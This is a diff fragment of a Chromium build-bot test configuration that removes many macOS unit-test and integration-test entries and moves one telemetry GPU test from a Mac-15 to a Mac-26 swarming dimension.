-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "media_unittests",
-        "test_id_prefix": "ninja://media:media_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/message_center:message_center_unittests",
-        "module_scheme": "gtest",
-        "name": "message_center_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "message_center_unittests",
-        "test_id_prefix": "ninja://ui/message_center:message_center_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//media/midi:midi_unittests",
-        "module_scheme": "gtest",
-        "name": "midi_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "midi_unittests",
-        "test_id_prefix": "ninja://media/midi:midi_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//mojo:mojo_unittests",
-        "module_scheme": "gtest",
-        "name": "mojo_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "mojo_unittests",
-        "test_id_prefix": "ninja://mojo:mojo_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/native_theme:native_theme_unittests",
-        "module_scheme": "gtest",
-        "name": "native_theme_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "native_theme_unittests",
-        "test_id_prefix": "ninja://ui/native_theme:native_theme_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//net:net_unittests",
-        "module_scheme": "gtest",
-        "name": "net_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "net_unittests",
-        "test_id_prefix": "ninja://net:net_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/browser/media/router:openscreen_unittests",
-        "module_scheme": "gtest",
-        "name": "openscreen_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "openscreen_unittests",
-        "test_id_prefix": "ninja://chrome/browser/media/router:openscreen_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//pdf:pdf_unittests",
-        "module_scheme": "gtest",
-        "name": "pdf_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "pdf_unittests",
-        "test_id_prefix": "ninja://pdf:pdf_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/perfetto:perfetto_unittests",
-        "module_scheme": "gtest",
-        "name": "perfetto_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "perfetto_unittests",
-        "test_id_prefix": "ninja://third_party/perfetto:perfetto_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//tools/mac/power:power_sampler_unittests",
-        "module_scheme": "gtest",
-        "name": "power_sampler_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "power_sampler_unittests",
-        "test_id_prefix": "ninja://tools/mac/power:power_sampler_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//printing:printing_unittests",
-        "module_scheme": "gtest",
-        "name": "printing_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "printing_unittests",
-        "test_id_prefix": "ninja://printing:printing_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//remoting:remoting_unittests",
-        "module_scheme": "gtest",
-        "name": "remoting_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "remoting_unittests",
-        "test_id_prefix": "ninja://remoting:remoting_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//sandbox:sandbox_unittests",
-        "module_scheme": "gtest",
-        "name": "sandbox_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "sandbox_unittests",
-        "test_id_prefix": "ninja://sandbox:sandbox_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//services:services_unittests",
-        "module_scheme": "gtest",
-        "name": "services_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "services_unittests",
-        "test_id_prefix": "ninja://services:services_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/shell_dialogs:shell_dialogs_unittests",
-        "module_scheme": "gtest",
-        "name": "shell_dialogs_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "shell_dialogs_unittests",
-        "test_id_prefix": "ninja://ui/shell_dialogs:shell_dialogs_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//skia:skia_unittests",
-        "module_scheme": "gtest",
-        "name": "skia_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "skia_unittests",
-        "test_id_prefix": "ninja://skia:skia_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/snapshot:snapshot_unittests",
-        "module_scheme": "gtest",
-        "name": "snapshot_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "snapshot_unittests",
-        "test_id_prefix": "ninja://ui/snapshot:snapshot_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//sql:sql_unittests",
-        "module_scheme": "gtest",
-        "name": "sql_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "sql_unittests",
-        "test_id_prefix": "ninja://sql:sql_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//storage:storage_unittests",
-        "module_scheme": "gtest",
-        "name": "storage_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "storage_unittests",
-        "test_id_prefix": "ninja://storage:storage_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:sync_integration_tests",
-        "module_scheme": "gtest",
-        "name": "sync_integration_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 3
-        },
-        "test": "sync_integration_tests",
-        "test_id_prefix": "ninja://chrome/test:sync_integration_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/base:ui_base_unittests",
-        "module_scheme": "gtest",
-        "name": "ui_base_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "ui_base_unittests",
-        "test_id_prefix": "ninja://ui/base:ui_base_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/touch_selection:ui_touch_selection_unittests",
-        "module_scheme": "gtest",
-        "name": "ui_touch_selection_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "ui_touch_selection_unittests",
-        "test_id_prefix": "ninja://ui/touch_selection:ui_touch_selection_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/tests:ui_unittests",
-        "module_scheme": "gtest",
-        "name": "ui_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "ui_unittests",
-        "test_id_prefix": "ninja://ui/tests:ui_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:unit_tests",
-        "module_scheme": "gtest",
-        "name": "unit_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 2
-        },
-        "test": "unit_tests",
-        "test_id_prefix": "ninja://chrome/test:unit_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/updater:updater_tests",
-        "module_scheme": "gtest",
-        "name": "updater_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "updater_tests",
-        "test_id_prefix": "ninja://chrome/updater:updater_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//url:url_unittests",
-        "module_scheme": "gtest",
-        "name": "url_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "url_unittests",
-        "test_id_prefix": "ninja://url:url_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/views:views_unittests",
-        "module_scheme": "gtest",
-        "name": "views_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "views_unittests",
-        "test_id_prefix": "ninja://ui/views:views_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//components/viz:viz_unittests",
-        "module_scheme": "gtest",
-        "name": "viz_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "viz_unittests",
-        "test_id_prefix": "ninja://components/viz:viz_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/renderer/platform/wtf:wtf_unittests",
-        "module_scheme": "gtest",
-        "name": "wtf_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "wtf_unittests",
-        "test_id_prefix": "ninja://third_party/blink/renderer/platform/wtf:wtf_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:xr_browser_tests",
-        "module_scheme": "gtest",
-        "name": "xr_browser_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "xr_browser_tests",
-        "test_id_prefix": "ninja://chrome/test:xr_browser_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/zlib:zlib_unittests",
-        "module_scheme": "gtest",
-        "name": "zlib_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "zlib_unittests",
-        "test_id_prefix": "ninja://third_party/zlib:zlib_unittests/"
       }
     ],
     "isolated_scripts": [
       {
-        "args": [
-          "--test-type=integration"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/test/chromedriver:chromedriver_py_tests",
-        "name": "chromedriver_py_tests",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "chromedriver_py_tests",
-        "test_id_prefix": "ninja://chrome/test/chromedriver:chromedriver_py_tests/"
-      },
-      {
-        "args": [
-          "--test-type=integration"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/test/chromedriver:chromedriver_py_tests_headless_shell",
-        "name": "chromedriver_py_tests_headless_shell",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "chromedriver_py_tests_headless_shell",
-        "test_id_prefix": "ninja://chrome/test/chromedriver:chromedriver_py_tests_headless_shell/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/test/chromedriver:chromedriver_replay_unittests",
-        "module_scheme": "single",
-        "name": "chromedriver_replay_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "chromedriver_replay_unittests",
-        "test_id_prefix": "ninja://chrome/test/chromedriver:chromedriver_replay_unittests/"
-      },
-      {
-        "args": [
-          "--gtest-benchmark-name=components_perftests"
-        ],
-        "merge": {
-          "args": [
-            "--smoke-test-mode"
-          ],
-          "script": "//tools/perf/process_perf_results.py"
-        },
-        "module_name": "//components:components_perftests",
-        "module_scheme": "flat",
-        "name": "components_perftests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "components_perftests",
-        "test_id_prefix": "ninja://components:components_perftests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//content/shell:content_shell_crash_test",
-        "module_scheme": "single",
-        "name": "content_shell_crash_test",
-        "resultdb": {
-          "enable": true,
-          "result_format": "single"
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "content_shell_crash_test",
-        "test_id_prefix": "ninja://content/shell:content_shell_crash_test/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//third_party/flatbuffers:flatbuffers_unittests",
-        "module_scheme": "single",
-        "name": "flatbuffers_unittests",
-        "resultdb": {
-          "enable": true,
-          "result_format": "single"
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "flatbuffers_unittests",
-        "test_id_prefix": "ninja://third_party/flatbuffers:flatbuffers_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//tools/grit:grit_python_unittests",
-        "module_scheme": "pyunit",
-        "name": "grit_python_unittests",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "grit_python_unittests",
-        "test_id_prefix": "ninja://tools/grit:grit_python_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/installer/mac:mac_signing_tests",
-        "module_scheme": "pyunit",
-        "name": "mac_signing_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "mac_signing_tests",
-        "test_id_prefix": "ninja://chrome/installer/mac:mac_signing_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//mojo/public/tools:mojo_python_unittests",
-        "module_scheme": "pyunit",
-        "name": "mojo_python_unittests",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "mojo_python_unittests",
-        "test_id_prefix": "ninja://mojo/public/tools:mojo_python_unittests/"
-      },
-      {
         "merge": {
           "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
         },
@@ -1616,91 +34,13 @@
         "swarming": {
           "dimensions": {
             "cpu": "x86-64",
-            "os": "Mac-15"
+            "os": "Mac-26"
           },
           "expiration": 21600,
-          "idempotent": false,
           "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
         },
         "test": "telemetry_gpu_unittests",
         "test_id_prefix": "ninja://chrome/test:telemetry_gpu_unittests/"
-      },
-      {
-        "args": [
-          "--extra-browser-args=--enable-crashpad"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/test:telemetry_perf_unittests",
-        "module_scheme": "pyunit",
-        "name": "telemetry_perf_unittests",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "idempotent": false,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 12
-        },
-        "test": "telemetry_perf_unittests",
-        "test_id_prefix": "ninja://chrome/test:telemetry_perf_unittests/"
-      },
-      {
-        "args": [
-          "--jobs=1",
-          "--extra-browser-args=--disable-gpu"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/test:telemetry_unittests",
-        "module_scheme": "pyunit",
-        "name": "telemetry_unittests",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "idempotent": false,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 8
-        },
-        "test": "telemetry_unittests",
-        "test_id_prefix": "ninja://chrome/test:telemetry_unittests/"
-      },
-      {
-        "args": [
-          "--gtest-benchmark-name=views_perftests"
-        ],
-        "merge": {
-          "args": [
-            "--smoke-test-mode"
-          ],
-          "script": "//tools/perf/process_perf_results.py"
-        },
-        "module_name": "//ui/views:views_perftests",
-        "module_scheme": "single",
-        "name": "views_perftests",